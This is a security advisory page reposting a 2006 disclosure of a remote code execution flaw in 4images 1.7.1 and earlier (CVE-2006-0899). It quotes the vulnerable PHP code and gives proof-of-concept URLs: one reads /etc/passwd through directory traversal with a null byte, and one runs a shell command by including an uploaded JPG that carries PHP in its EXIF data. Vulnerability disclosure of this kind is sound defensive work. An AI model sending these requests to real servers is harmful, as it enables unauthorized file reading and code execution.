SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

4images <=1.7.1 remote code execution


Arrow  SecurityAlert : 518
Arrow  CVE : CVE-2006-0899
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : rgod
Arrow  Published : 02.03.2006

Arrow  Affected Software : 4images <=1.7.1



Arrow  Advisory Content :  

----------------- 4images <=1.7.1 remote code execution
------------------------
software:
site: http://www.4homepages.de/
------------------------------------------------------------------------
--------
i)
vulnerable code in index.php at line 35-54:

...
if (isset($HTTP_GET_VARS['template']) ||
isset($HTTP_POST_VARS['template'])) {
$template = (isset($HTTP_GET_VARS['template'])) ?
stripslashes(trim($HTTP_GET_VARS['template'])) :
stripslashes(trim($HTTP_POST_VARS['template']));
if
(!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_e
xtension)) {
$template = "";
}
else {
$main_template = $template;
}
}
else {
$template = "";
}
include(ROOT_PATH.'includes/page_header.php');
if (!empty($template)) {
$clickstream = "<a
href="".$site_sess->url(ROOT_PATH."index.php")."">".$lang['home']."</a
>".$config['category_separator'].str_replace("_", " ", ucfirst($template));
$site_template->register_vars("clickstream", $clickstream);
$site_template->print_template($site_template->parse_template($main_temp
late));
include(ROOT_PATH.'includes/page_footer.php');
}
...

poc:

http://[target]/[path]/index.php?template=../../../../../../../../../../
../etc/passwd%00

This is regardless of magic_quotes_gpc settings because we have
stripslashes on
"template" argument (this is exploitable on PHP 4, because file_exists()
function suffers of null char injection...)
File comptemt is passed to an eval() in includes/template.php, so it is
evaluated as php code.

Also we can upload malicious php code through 4images functionalities
inside a
.jpg file with well crafted EXIF metadata comtempt.
Example of remote code execution:

http://[target]/[path]/index.php?cmd=ls%0-la&template=../../data/tmp_med
ia/suntzu1293.jpg%00

a php exploit tool availiable here:

http://retrogod.altervista.org/4images_171_incl_xpl.html

------------------------------------------------------------------------
--------
still a note about:

http://secunia.com/advisories/19026/

Secunia wrote: "Input passed to the "template" parameter in "index.php"
isn't
properly verified, before it is used to include files. This can be
exploited to
include files having the template file extension (".html") from local
resources
via directory traversal attacks"

and classified it as low risk... this is true on PHP5 but not on PHP4 where
you
can break the .html extension by a null char

------------------------------------------------------------------------
--------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/4images_171_adv.html
------------------------------------------------------------------------
--------





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.